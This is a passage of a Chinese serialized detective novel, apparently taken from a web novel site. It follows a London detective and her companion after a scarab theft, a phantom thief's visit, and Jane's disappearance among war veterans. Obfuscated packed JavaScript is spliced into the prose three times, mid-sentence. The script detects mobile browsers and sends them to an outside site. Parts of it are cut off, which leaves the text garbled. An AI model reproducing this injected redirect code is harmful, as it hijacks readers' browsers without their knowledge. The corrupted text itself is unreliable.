他将谋杀归结为兰开斯特的短视，将格雷厄姆的死归结为艺术家的天真。 而他自已，则超然其上，只是一个懂得欣赏“故事”与“价值”的鉴赏家。 “你认为什么样的故事才算恰当？”简问。 “哦，能经得起时间考验的，就是好故事。” 他微微一笑，转身准备离开，去招呼其他客人。走出两步，他又像是忽然想起什么，侧过半张脸。 “顺便一提，”他的语气轻松得像在谈论天气，“那枚引起不少麻烦的圣甲虫……经过权威鉴定，确实是一件难得的真品。虽然过程令人遗憾，但真相大白，总是好的，不是吗？” 他点了点头，优雅地融入人群，留下我们站在原地。 他最后那句话像一把冰冷的匕首。他不仅全身而退，还最终为那圣甲虫赋予了“真品”的认定，洗白了自己最初可能面临的质疑，甚至可能使其价值更高。 我们走出画廊，伦敦的黄昏灰蒙蒙的。 “他赢了，是吗？”我忍不住问。 简沉默了片刻，看着街上匆匆的行人。 “他没有赢，弗瑞。”她说，“他只是从不下注。兰开斯特赌上了一切，格雷厄姆赌上了性命。而他，只是提供了赌场和筹码。”她拉紧了大衣，“只要还有人渴望他的赌场和筹码，游戏就永远不会结束。” 真相水落石出，凶手绳之以法。 但最大的那只圣甲虫，依旧在它的高处，闪烁着冰冷而神秘的光，缄默地守护着所有秘密。 77.9.5 “所以，克罗斯，你到底想干什么？”简看着这个大名鼎鼎的怪盗在我们的事务所环视，状似无奈地问。 “慌什么？”克罗斯的手按在沙发的靠背上，一个翻身，大长腿就直接跨坐在沙发上了。 我在一旁给他递了一杯红茶，然后给简和我自己一杯。 “谢谢，弗瑞。”简说完，然后就像是把克罗斯给遗忘了。 “里斯克？大侦探？侦探小姐？本小姐？” 这位大名鼎鼎的怪盗明显无法忍受被无视，夸张地叫着，而我，看了看简，默契地保持着沉默。我知道简的脾气，她越是表现得不在意，越是说明她在思考什么。 “啊啊啊啊！真无趣！”这位怪盗有的时候简直任性如孩童。他明显有些不满了。 “圣甲虫的案子还没有让你看足乐子？”简似乎是随口一问，手里的动作却不停，认真地写着那个案件的记录。 “很混乱，很有趣，但我不喜欢。”克罗斯先生把玩着自己手里的扑克牌说。纸牌在他修长的手指间灵活地翻转，时而消失，时而出现，像是有生命一般。 又是这样，与他表面的端重格格不入。我再一次猜测那张脸下的真正面容可能无比年轻。 说起来可能有些好笑，这位被通缉的面容多变的怪盗，竟然让我想到了家中的弟弟纳迪尔。 所以一直保持沉默，我反倒是有些不忍心了。 “所以，亲爱的怪盗先生，你想要做什么？”我问。 克罗斯把茶杯放回碟子里，发出轻微的磕碰声。他完全没有动过那杯茶。 “没劲。”他说，身体向后靠进沙发，“你们这些人，总是把简单的事情弄得很复杂。” 简没理他，继续整理桌上的文件。 我把自己的茶杯端起来，吹了吹热气，小啜一口。茶香在口中弥漫开来，稍稍驱散了午后的倦意。 克罗斯盯着我们看了一会儿，忽然站起来。他的动作很快，几乎是一瞬间就完成了从慵懒到警惕的转变。 “我走了。”他说，语气平淡。 他走到门口，手放在门把手上，又回头看了一眼。 “让我们，”他说，“之后见。” 简抬起头。 克罗斯笑了笑，没说话，拉开门走了出去。 屋子里安静下来。窗外的天色渐渐暗了，伦敦的灯光次第亮起。 简把最后一份文件收进抽屉，锁好。 “走吧，”她说，“该回去了。” 三日后，《泰晤士报》一角登了则短讯：西弗西斯先生收藏的埃及圣甲虫昨夜失窃，现场未留下任何痕迹。警方怀疑是职业盗贼所为。 又过两日，我们收到一个没有任何署名的牛皮纸包裹。 打开，里面是块深蓝色的天鹅绒衬布，叠得整整齐齐。 衬布上空空如也，只残留极淡的、混合着灰尘与古老香料的气味。 没有圣甲虫，没有纸条。 简拿起衬布，走到窗边，对着光仔细看了一会儿。 然后她将它扔进了壁炉。 火焰舔舐上去，天鹅绒很快卷曲、焦黑，化作一小撮灰烬。 最后的痕迹，也消失了。 “他拿走了他想要的。”简说，目光落在窗外灰蒙蒙的街道上。 从此，再没有人见过那枚圣甲虫。 至于再远的未来，谁知道呢？ 对了，西弗西斯先生本人曾经就再次找上了门。 他仍旧穿着昂贵的西装，但额头上布满了汗珠，不知是因为焦虑还是伦敦罕见的闷热天气。 “里斯克侦探！您一定看到新闻了！”他手里攥着一份《泰晤士报》，用他异域的腔调愤怒地说：“我的宝贝！那古老的圣甲虫！它被偷了！” 简从文件上抬起眼，“我看过了，西弗西斯先生。警方怎么说？” “警方？那群饭桶！”西弗西斯用手帕用力擦着额头，“他们说毫无线索，像是幽灵干的！但您肯定比他们懂得多！请您务必帮我找回它，报酬不是问题！”他急切地看着简。 简沉默了几秒，然后将手中的钢笔轻轻搁在墨水台上。 “抱歉，西弗西斯先生，”她的声音没有太大的起伏，“这个委托，我无法接受。” “为……为什么？”西弗西斯像是被泼了一盆冷水，愣住了。“是报酬问题？还是您认为我支付不起？” “与报酬无关。”简说。 读者们，这当然与报酬无关，但我们不可能直接告诉他，我们知道是谁偷的，甚至小偷还给了我们消息吧。 而且，西弗西斯先生，他不久前，仍旧高傲地宣告着胜利。我不喜欢。 “上一个案子的余波尚未完全平息，我不便再介入与之相关的物品调查。而且，”简浅绿色的眼睛直视着他，“失窃案是警方的职责范畴。私人侦探过度介入，反而会添乱。” 即使简如此说，我也知道，只要她愿意，她可以轻易参与调查，当然，也可以轻易地从克罗斯哪里得到圣甲虫。 但是，为什么要呢？ 我保持沉默。 而西弗西斯的脸色变了几变，似乎想争辩，但最终只是在简冷静的注视下泄了气，悻悻然地离开了。 送走这位高傲却吃了闭门羹的收藏家大约半小时后，另一位访客如同计算好时间般出现了。 她像蛇一样悄无声息地滑进门，穿着一身墨绿色的长裙，身姿摇曳。 是格林小姐。 “下午好，我亲爱的简，”她语调亲昵，仿佛她们是多年密友，而非在危险边缘相互利用的合作者，“还有我们总是如此谨慎的弗瑞小姐。我刚才似乎在楼下碰到了气冲冲的西弗西斯先生？他的脸色可真难看，像被人抢走了最爱的东西。” “格林，”简的称呼省去了客套，“你的消息总是这么灵通。他刚走。” “体面的有钱人，自以为是，呵。” 格林小姐轻笑着，自顾自地在刚才西弗西斯坐过的扶手椅上坐下，优雅地交叠双腿。 “不过，他那件东西确实惹来了不小的麻烦，不是吗？现在不知道落入了谁的手里。”她的目光意有所指地飘向简。 “如果你知道些什么，可以直接说。”简不为所动，语气平淡。 “噢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307116|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我可什么都不知道，亲爱的。” 格林小姐耸耸肩，从精致的手拿包里取出一个珐琅烟盒，慢条斯理地敲出一支细长的香烟，却没有点燃。 “不过，西弗西斯先生除了明面上寻找侦探，私下里也很……忙碌。比如，和某些不太方便露面的人谈些条件。” 她像是突然想起什么，从烟盒的夹层里“不小心”掉出一张折叠得很小的纸片，轻飘飘地落在地毯上。“哎呀，瞧我，真是粗心。” 她假意俯身，却没有去捡。 简看着她表演，片刻后，才缓缓起身，走过去拾起了那张纸片。 展开，上面是一份加密交易记录的片段，关键词隐约可见“圣甲虫”、“担保”、“交易”，熟悉的金环蛇，还有西弗西斯先生的签名。 “这样吗？呵。”简将纸片在指尖翻转了一下，语气里带上一丝嘲讽。 “人心总是复杂的，尤其是他们那种体面人。”格林小姐微笑着站起身，将未点燃的香烟放回烟盒，“好了，不打扰你们了。只是路过，顺便来聊聊天的。保持联系，简，说不定很快就有……新生意了。” 她像一阵绿色的风一样旋身离开，留下淡淡的、略带侵略性的香水味。 办公室里安静下来。简没有立刻处理那张纸片，而是走到窗边，看了一眼楼下街道。然后她回到桌边，拿出了那个发信器。 “梅尔，”她对着通讯器低声道，声音压得很低，“听到回话。我需要你查一下西弗西斯和格林最近的所有资金往来和会面记录。” 通讯器里只有细微的电流嘶声，无人应答。 简等了几秒，眉头微蹙，“梅尔？” 依旧一片寂静。 “奇怪……”我忍不住出声。梅尔几乎从不会错过简的呼叫，尤其是在白天。 简的表情凝重了些，但很快恢复如常。 “可能她暂时离开了信号范围，或者在处理别的任务。”她推测道，但眼神里掠过疑虑。她再次看了一眼壁炉上的时钟。 那个每月都会出现的、混合着厌烦与不得不为之的妥协神情再次浮现。 她深吸一口气。 “弗瑞，”她转过身，语气恢复了平时的果断，拿起搭在椅背上的外套和手包，“我必须出去一趟。” “是去见……‘先生’？”我问道，心里明白这每月一次的会面是她无论如何都无法推脱的束缚。 “嗯。”简简单地应了一声，但她扣外套扣子的动作似乎比平时用力了一点。 “你看好事务所。如果梅尔联系你，或者回来了，立刻通知我。另外，”她顿了顿，目光扫过桌上格林“遗落”的那张纸片，“把那个处理掉。” “明白。” 她走向门口，步伐依旧平稳从容，但我知道，每一次去面对那位掌控着她部分人生的“先生”，对她而言都像是一场必须压抑所有真实情绪的战斗。 门在她身后轻轻合上，留下满室的寂静和尚未消散的、属于格林小姐的香水味，以及一丝隐隐不安的预感。 我走到窗前，伦敦，似乎又要下大雨了。 真糟糕。 78.10.1 简失踪了。 梅尔小姐也没有消息。 我联系不上她们。 这这是太糟糕了。 啊，读者们，抱歉，我并不是想营造一种恐慌，我当时确确实实不知道怎么办了。 简每个月都不得不去见“先生”。即使她不愿意，即使她想脱离，但是，我们都知道，那是她从血脉里蔓延出的刺，会不断地带来阵痛。 我不知道如何去说。 这本该是一次被迫的例行公事，去见先生，报告，交锋，简总是不让我和她一起去，她是为了保护我，我知道的。 但是当我在公寓辗转反侧，而她久久未归的时候，我又是多么希望我能够在她的身边。 她没有回来，整个夜晚。 之前从来不会这样的。 我去联系梅尔小姐，发信器闪了又闪，梅尔小姐去始终没有回复。 那个时候，恐慌彻底漫上心头。 她们是不是出事了？ 发生了什么？ 怎么办？ 我完全不知道。 上帝啊，圣母及诸位圣徒啊，我祷告着，哀求着，希望她们安然无恙。 幸好，一切的结局尚能忍受。 不然，我简直完全不知道怎么办才好。 啊…读者，原谅我写的语无伦次，我当时确确实实收到了极大的影响，回忆它，都让我感到庆幸与惶恐。 …… 从哪写呢？ 就从简没有回来的第二天写吧。 天光是从窗帘缝隙里像一把钝刀子一样割进来的，苍白，冰冷，毫无暖意。 我一夜未阖眼，眼眶干涩得发痛，每一次心跳都沉重地敲在胸腔里，回声是：简，简，简。 公寓静得可怕。 平日里她常坐的那张沙发椅空着，上面搭着她读到一半的书集。 空气里似乎还残留着她身上那点淡淡的草药烟的味道，若有若无，几近消失。 我必须做点什么。我不能只是在这里，被这四面墙和疯狂的想象吞噬。 梅尔小姐。 对，梅尔小姐。 我再次扑向通讯器，手指因为缺乏睡眠和紧张而微微颤抖，几乎按错了钮。 发信器的幽光再次亮起，那点微弱的光，在一片死寂的房间里，是我唯一能抓住的稻草。 我发送了又一条讯息，比之前任何一条都要急切，几乎是在哀求。 【梅尔小姐，简昨夜未归。先生处。恐有变。速回讯。任何讯息都好。求您了。】 发送。 然后又是等待。 每一秒都被无限拉长，滴答作响。 我死死盯着那毫无反应的界面，期盼它能突然跳动起来，带来哪怕一个字符的安慰。 但它没有。 它只是沉默着，那沉默逐渐变得震耳欲聋，充满了不祥的意味。 梅尔小姐从不这样。 她们都消失了。 向着同一个方向，先生。 这个念头像冰水一样浇透了我。 我猛地从通讯器前站起来，在房间里踱步，步伐凌乱。心脏被一只冰冷的手攥紧了，挤压出前所未有的恐惧。之前只是担忧，现在，恐慌有了确切的形状，是先生那模糊而庞大的阴影。 简每次去见他回来，都会沉默许久。那是她从不细谈的交锋，一场她必须独自面对的战争。 而我被保护着，被留在安全的后方。 可现在，这安全变成了最恶毒的煎熬。 我的想象力开始想象最可怕的画面：简苍白的脸，梅尔小姐紧闭的双唇，还有先生…啊，那个黑暗中的阴影，那冰川一般的眼睛，还有那恶心的金蛇。 我该怎么办？ 直接去找他？ 闯入那我所知甚少、却被简严令禁止靠近的地方？ 这念头让我浑身发冷。 我会坏事吗？ 我会给她们带来更大的麻烦吗？ 可是，等待…等待就是顺从地让这恐惧一寸寸啃噬掉我所有的理智！ 上帝啊，我该怎么办？ 我停在窗边，猛地扯开窗帘。 外面的城市依旧运转着，车流无声，行人渺小如蚁。 世界如此巨大而冷漠，它对一个人的失踪，对一场正在发生的悲剧，无动于衷。 我必须行动。我必须做点什么。 即使恐惧让我的指尖都在发麻，即使我可能什么都做不好。 对了！格林小姐！ 她和简是有合作的，我知道的！ 她的联系方式… 嘟嘟嘟… 电话在呼叫，快接啊！求您了！ 谢天谢地！ “喂，我是格林！”格林小姐的那慵懒熟悉的声音传来，让我始终提起的心放松了一点点。 “格林小姐！简她没有回来，梅尔我也联系不上……”我快速说。 “等等！冷静！弗瑞，我们必须见面聊，你们的事务所，明白吗？”格林小姐说。 “好。” 我慌忙抓起外套，冲出门去。 查令十字街12号。 上帝啊。 “啊…弗瑞小姐，怎么了，你这么紧张？里斯克小姐呢？”我们忠实的老滴答抬起头，镜片后的眼睛眨了眨。 我几乎是扑过去拉住他的胳膊，我看着他，“老滴答，简没有回来，梅尔也联系不上！我想，你必须要注意！蛇，老鼠，鬣狗，还有其他的什么！” “冷静，冷静！弗瑞小姐。我想她们不会有事的。我会注意的。”老滴答安抚地拍着我的手背，但他的眉头也皱了起来，眼神里闪过一丝极快的光，像是想起了什么，又或是担忧着什么。 现在我常常想，但是他是否已经注意到了什么呢？但我实在是太担心了，我完全没有注意到老滴答的疑虑与担忧。 我在事务所里踱步。手指无意识地反复摩挲着戴在中指上的那枚银戒指，是简送我的礼物。冰凉的金属被我捂得温热，成了此刻唯一能让我稍微定下神来的支撑。 幸好，没有多久，格林小姐就全副武装地出现了。 …… “这不应该！最近应该没有需要她们保密的任务！还有，先生应该也不会…弗瑞！不管怎么样，一定和金环蛇无关！”格林小姐肯定地说。 “先生应该也不知道，但是，不能由我来问…” “我得去见先生！”我说。 去见那个危险的、阴影中的先生，简的父亲。 格林小姐沉默地看了我几秒，然后缓缓点头。她没有劝阻我。 她当然知道这是必须的。 “小心。什么都不要答应，只问。感受他的反应。” 还是那个冰冷的、黑色的俱乐部。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324948|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 弥漫着雪茄…蛇腥…甚至血腥的，如同噩梦一般的房间。 先生就在那里，站在壁炉前，背对着我。炉火跳跃，却丝毫驱不散他周身那冰冷的氛围。他转过身，那双和简截然不同的眼睛落在我身上，像永不融化的冰川。他手里把玩着那条金蛇，蛇眼闪烁着不祥的光。 “弗瑞小姐。”他的声音平稳，听不出丝毫情绪，“稀客。简呢？” 我深吸一口气，指甲掐进掌心。“她昨天来见您。她没有回来。” 他眉梢微不可察地动了一下。“她离开了。在惯常的时间。” “之后呢？您知道她可能去哪里吗？或者…发生了什么事？”我的声音有些干涩。 “她不是孩子了，弗瑞小姐。她的行踪不需要完全向我报备。”他的语气有着令人极其不适的嘲讽，“或许，她终于厌倦了扮演侦探的游戏，以及…其他。”他的目光若有似无地扫过我。 恐惧和愤怒在我胸腔里翻滚。 我强迫自己站稳。“梅尔小姐也联系不上了。” 这一次，他沉默了片刻。 金蛇在爬行着，嘶嘶的吐着信子。 “这倒有点…意外。”他终于说，语调似乎依旧平稳，“梅尔通常很可靠。” 他走向书桌，拿起内部通讯器，按了一个钮。“查一下。昨天下午之后，里斯克和梅尔的踪迹。所有渠道。”他下达指令，言简意赅。 放下通讯器，他重新看向我。“我会调查。你可以走了。” 没有安慰，没有保证，甚至没有任何显而易见的担忧。 只有就事论事的效率。 我无法判断他是真的不知情，还是这一切都在他的计算之内。 在他面前，我感觉自己像一张透明的纸，所有情绪都无所遁形，而他却隐藏在厚厚的冰层之下。 我张了张嘴，还想问什么，但他那冰冷的眼神阻止了一切。 待在这里毫无意义，甚至更危险。 “有消息…”我艰难地开口。 “如果有必要，你会知道。”他打断我，已然下了逐客令。 我转身离开，脚步有些虚浮。直到走出那栋建筑，重新接触到室外冰冷的空气，我才猛地喘过气来，后背已被冷汗浸湿。戒指硌得指骨发痛。 格林小姐显然早有预料，她匆匆忙忙，不能也不应该停下来安慰我。 而我，我不能只依靠先生。 我快步走着，脑子飞快转动。 苏格兰场。怀特警探。 我找到一个公用电话亭，投币，拨号。 “对，是我，弗瑞…怀特警探，能帮我查一下吗？从昨天下午到今天，所有的事故记录，医院的无名氏…对，和简有关…还有，任何不寻常的街头目击…我知道这很难…谢谢，任何消息，立刻告诉我…” 挂断电话。 下一个。地下情报贩子，欠简人情的那几个。 又一个电话，隐晦的打听，承诺报酬。 然后是简的其他线人，一些游走在灰色地带的小人物。 我尽可能地联系，把网撒出去，期盼能捞到一点碎片般的线索。 每一个电话间隙，每一次等待回复的片刻，恐惧就像潮水一样重新涌上。 城市在我周围喧嚣运转，庞大而漠然。 我只能紧紧握着那枚戒指，感受那圈冰冷的金属渐渐被体温焐热。 79.10.2 我站在街角的公用电话亭旁，硬币在电话匣里磕出沉闷的响。 话筒贴在耳边，里面传来忙音，或是某个线人含糊其辞的推脱。 找不到。 每一个电话拨出去，都像扔出一颗石子，沉入深不见底的暗井。 怀特警探那边暂时没有可以匹配的任何事故或无名女尸的记录，这消息让我稍微放松了一点，但仍旧无比担心。 没有消息，有时就是最坏的消息。 我沿着街道往回走，脚步有些发虚，一夜未眠的困倦和焦虑包裹了我。 日光苍白，照在灰扑扑的建筑物上，一切都显得不真切。 得回事务所去。 格林小姐或许会有消息，老滴答在那儿。 就在离查令十字街不远的一个路口，我正心不在焉地等着信号灯变换，眼角余光瞥见一个瘦小的身影飞快地窜过来。 是麻雀。 那个机灵的小男孩，偶尔会帮简跑腿，换几个先令或是几块糖。他头发乱蓬蓬的，眼睛却亮得惊人。 “弗瑞小姐！”他压低声音，扯了扯我的衣角，神色有点紧张，又带着点兴奋，“我在老码头那边……看见过里斯克小姐！” 我的心脏猛地一跳，立刻蹲下身抓住他细瘦的胳膊，“什么时候？和谁在一起？她怎么样？” “就……昨天傍晚，天快黑的时候，”麻雀咽了口唾沫，语速很快，“她不是一个人，有好几个大人，看着……看着有点吓人。里斯克小姐好像没事，自己能走？” “老码头哪里？麻雀，清楚一点。” “就那个废仓库后面，平时没人去的那片！但我没敢跟太近，他们好像进那边去了……”麻雀顿了顿，又补充道，“后来天黑了，我就没再看见。” 我塞给他几张纸币，“谢谢你，麻雀！再去看看，有任何动静，立刻来告诉我！小心点，别被发现！” 他用力点头，攥紧钱，一溜烟又跑没了影。 老码头区的废仓库……简自己能走…这意味着什么？简是自愿的？被迫？妥协？ 思绪乱成一团麻。 我站起身，快步穿行，必须立刻把这事告诉老滴答，告诉格林小姐。 拐过街角，事务所门面就在眼前。 一辆黑色的旧汽车（像是从废车场勉强开出来的）擦着我身边过去，排气管喷出股恶心的黑烟，晃晃悠悠地开走了。 我站住，止不住地咳嗽。那味道实在是难以忍受。 推开门，事务所里静悄悄的。 “老滴答？”没人应。 在压在他常修的那座黄铜齿轮钟下面，压着一张纸，非常明显。 我过去，把纸拿起来看了看。纸很薄，字迹是老滴答有点潦草的笔迹，墨水洇开一些。 「弗瑞小姐，我得去。给他们一个机会。也给我自己。别找。锁好门。注意安全。」 纸下面还有一张，更薄，像是从什么本子上撕下来的，上面是用铅笔反复描画过的点与划，密密麻麻。 是摩斯码。 我只勉强认出开头和结尾几个重复的符号，拼出来是… 「…归来…归…来…」 台灯的光照下来，黄铜齿轮的影子拉得老长，咔哒咔哒地响。 老滴答也消失了。 窗外，天色灰沉下去。 …… 纸片在我指间簌簌地响。 归来。 这个词压在我的心头。 老滴答的笔迹，还有这笨拙却执拗的密码…… 它们不属于这个堆满齿轮和灰尘的事务所。它们属于更泥泞更血腥的地方，属于老滴答偶尔失神时，那双看向遥远过去的眼睛。 我走上楼，从抽屉深处翻出简那本旧摩斯密码对照表。坐在自己的位置上，一个一个对应着那些符号。 …W…E…需要…医生…药品……吗…啡… …里斯克…在我们…这里… …梅尔…不好… …告诉……该还了… 老伙计…你知道…我们… 断断续续的词句，带着硝烟和铁锈的气味，从纸上挣扎出来。 每一个词都让我的太阳穴突突直跳。 他们需要药品，简在他们手上，梅尔情况不好。 这是给老滴答的信，也是通过他，递给“先生”的战书。 那些从战场上下来，却被遗弃在废墟里的人。 回来了。 电话铃猛地炸响，尖锐蛮横。我几乎是跳起来抓住听筒。 “弗瑞？”是格林小姐的声音，比平时更紧张更严肃，压得很低，“你收到什么没有？老滴答在不在？” “他走了。”我的声音干涩，“留了张纸条。还有……一封信。是密码。。” 电话那头短暂的沉默了一会，电流嘶嘶作响。这个时候，格林小姐在思考什么呢？我不知道。只是她最后还是开口了。 “……我刚截到一点风声，先生那边不对劲，所有出入口都加了双岗，他几个不常用的窝巢都突然活跃起来……”她顿了顿，“他们提条件了。” “我知道。药品。吗…啡。还有……他们抓了简和梅尔。是针对先生的。” “疯子……”格林小姐低声骂了一句，不知是说归来者，还是先生。 “听着，弗瑞，你现在不能待在那里。他们既然找了老滴答，就知道事务所。不安全。”格林小姐说。 “我知道。”我看着窗外逐渐浓重的夜色，“我知道该去找谁。” “别冲动！你能怎么办？” 是啊。我能怎么办？ 那种，切切实实地无力感，再一次满了上来。但是，有什么关系。我总要选择做些什么。 “我只是去问问。问问先生，他准备怎么做。”我边说，边检查了一下我的木仓，“格林小姐？你会去问吗？” 她沉默了。 “我带你去过的地方。”她说。 挂掉电话。 我提着我的手提包走出了事务所。 …… 读者们，无论是主动还是被迫，我都去过很多次金环蛇的地盘了。 狡兔三窟，蛇又何尝不是？ 我知道金环蛇的俱乐部，先生用来会客的私人领地，还有几个更隐蔽的、散发着消毒水和陈旧血腥味的场所。 简从来就没有避开过我，即使她从不赞成我接触，但我确实需要知道这些。 知道这些，是幸运还是不幸？不重要。 我只知道，此刻，它们是我唯一能抓住的方向。 我没费事去俱乐部或画廊。直接驱车去了简受伤被送往的那个仿佛藏在深山的领地，格林带我来的。 金环蛇的守卫，比我上次来的时候多。 我下车走过去时，其中一个人上前一步，抬手拦住。他没说话，也没有询问，他只是受命阻挡。 “我要见先生。” 他摇头。“先生不见客。” “告诉他，是本。关于里斯克。关于‘归来者’。” 那人的表情没有丝毫变化。“先生不见客。”他重复了一遍。 一切很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16342962|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安静，压抑的安静。金环蛇们警戒着，比我第一次来还要警惕。 先生不肯见。 他把自己留在他的巢穴里，应对着这场由过去幽灵发起的战争。而简和梅尔，成了这场战争里的人质。 我站在那儿，和那个面无表情的男人对峙着。树林里的风吹过，带起一阵枯叶翻滚的细响，还有远处隐约的犬吠。这地方太静了，静得能听见自己心跳的声音。 他不会见我了。我知道。 即使先生是简的父亲，啊，这么说也不对。读者们，我不知道如何去形容。血缘是最复杂的关系之一。它有时很重要，重于泰山，会让亲人拼死以护；有时很无用，轻如鸿毛，甚至不能父女相称。 也许先生还是会在意简的。从简中木仓的时候就可以看出来。作为孩子，还是作品？他最重要的，还是效率与利益。 他做出了迅速地部署，或许也无所谓失去。 但是，我不行。 我不想失去简和梅尔。 我站了一会儿，然后转身往回走。脚步踩在碎石上，沙沙的。手提包有点沉，里面除了那张密码和零钱，就是简留给我的那把老式左轮。 回到车里，发动机的轰鸣撕破了这片刻意维持的宁静。后视镜里，那守卫依旧站在原地，目送着，直到拐过弯，彻底看不见。 他不知道我去哪儿。我也不知道。 开着车，漫无目的。 城市像一张灰色的网，路灯次第亮起，在车窗上拖出长长的光痕。每一个路口都可能指向线索，也可能通向更大的空洞。 需要药品。吗…啡。这些词在脑子里打转。 老码头区的废仓库。麻雀看见他们的地方。 方向盘一打，车头转向东区。轮胎碾过潮湿的路面，发出细微的摩擦声。 先于景象到来，往往是气味。老码头的河水裹挟着淤泥和烂鱼的腥气，还有远处工厂排放的酸腐。 我把车停在几条街外，步行进去。 越往里走，灯光越稀疏，阴影越浓重。 没有光，没有人声。只有风穿过巷子的咆哮，还有河水的声响。 我站在一栋最大的仓库阴影里，看着对面那排破败的低矮库房。 麻雀指的地方就在那儿。一片死寂。 手伸进提包，握住枪柄。冰冷的触感让人稍微清醒。 就这样站着，也不知道过了多久。直到冷意钻进骨髓，牙齿开始忍不住轻轻打颤。 什么都没有。 也许他们早就离开了。也许麻雀看错了。也许…… 就在我几乎要放弃的时候，远处传来一点细微的动静。不是老鼠，也不是风声。是人踩在碎石上的声音，沙沙的。 我立刻缩身，紧贴身后冰冷的墙壁，屏住呼吸。 一个黑影从对面仓库的拐角闪出来，动作有点僵硬，警惕地四下张望了一下，随即快步沿着河岸方向走去。 看不清脸，但那姿态，那种融入黑暗的方式，不像普通的流浪汉或混混。 他没有发现我。 等那身影消失在更深的黑暗里，我才慢慢呼出一口气，后背的寒意比夜风更刺人。 那不是我所熟悉和知道的任何一个人。带着那种战场上下来的警觉。 他们确实在这里待过。或者，还有人留在这儿。 我慢慢退后，离开阴影，沿着来路往回走。脚步放得很轻，小心翼翼。 回到车上，发动引擎。热量慢慢回到冻僵的身体。 需要药品。吗…啡。 下一个地方。 80.8.3 老码头附近总有那么几个见不得光的诊所，或是肯收钱闭嘴的黑医。 一家窄小的门面，窗玻璃糊着油污，只透出一点昏黄的光。门上没有招牌，只有一个用白色粉笔画的很潦草的十字。 推门进去。屋里比外面还冷，一股消毒水和霉味混在一起的怪味。柜台后面有个男人，正借着煤油灯的光看一张破报纸。他头发油腻，脸色发黄。 “吗啡。”我说。 他抬眼瞥了我一下，又低下眼看报。“没有。” 我把几张钞票放在木头柜台上。 他放下报纸，手指慢吞吞地挪过来，盖住钞票，收走。然后弯腰，从柜台底下摸出一个小纸包，推过来。 “最近有人来大量买这个吗？”我问，手指按在纸包上，没拿。“受伤的人，或者看起来……很糟糕的。” 他耷拉着眼皮。“天天有人来买。”声音含糊不清，“都挺糟糕。” “几个男人。可能…很糟糕，看起来很危险？” 他沉默了一会，用指甲剔着牙缝。我又放上了一把钞票。 “好像有。前两天。要了不少。钱没给够，拿了个破怀表抵债。”他收了钱，朝角落里啐了一口，“那表都不走字儿。” “他们说什么了？” “谁记得。疼得快死了哪还有废话。”他显得不耐烦了，“不该来的地方别来，不该问别问。拿了就快走。” 我拿起纸包，转身推门出去。 又找了两家。说法差不多。 是有这么几个人，慌里慌张，要止痛药，要消炎粉，身上带着一股子硝烟和恶臭。都指向码头深处那些废弃的仓库。 回到事务所楼下时，天已经黑透了。我注意到楼下停着今天碰见那辆破旧的车子。内心开始警觉起来。 楼梯又陡又暗，小心翼翼地摸着扶梯往上走。 推开门。里面亮着台灯。 简坐在她的旧沙发椅里，手搭在扶手上。她看起来极度疲倦，脸色苍白，但身上没有明显的伤。听到门响，她抬起头，目光落在我身上，带着一种庆幸。 我愣在门口，手从手提袋里抽出来。 视线挪开，看到壁炉边上还坐着一个人。 一个男人。穿着件褪色严重的旧外套，款式像军装。他坐得很直，一只手放在膝盖上，另一只袖管空荡荡地垂着。他脸上有不少伤疤，最令人不适的是那双眼睛，右眼是空的。他听见我进来，脸微微转向我。 空气里有股复杂的味道。一股混合着铁锈和劣质烟草，以及血腥的味道。 “弗瑞。”简先开了口，声音沙哑。 我关上门，反手锁好。“简……”我看着那个陌生男人，“这位是？” “谢维奇。”简的声音很低，“以前的……熟人。” 谢维奇朝我的方向略微点了点头，没说话。那只盲眼让人很不舒服。 “梅尔呢？”我问，喉咙发紧，“老滴答呢？他们……” “梅尔需要处理伤口，旧伤，还有……一点新情况。老滴答送她去了能处理的地方。”简说得很简单，但我明白她指的是金环蛇的某个医疗点。她不想明说。 “发生了什么？那些……” “我们没打算伤害那…孩子。”谢维奇突然开口，声音粗粝。 “有个弟兄……这里不太清楚了。”他用手指点了点自己的太阳穴，“看见像上头的人就忍不住。发了疯，跑了几个。剩下的人，不想惹更多麻烦。” 他空洞的眼睛转向简的方向，“里斯克小姐是自己留下的。为了稳住情况。” 为了梅尔。我知道。 “老滴答……” “他自愿来的。”谢维奇说，“他来，拿出药，拿出钱，安顿我们这些废人。”他脸上没什么表情。 楼梯上传来脚步声，很轻，但很快。门没锁，被推开。 格林小姐侧身进来，她扫了一眼屋里，目光在谢维奇身上停了一下，然后看向简，点了点头。 出乎意料的是，她后面跟着克罗斯，带着面具靠在门框上，帽檐压得很低，手里玩着一枚硬币。 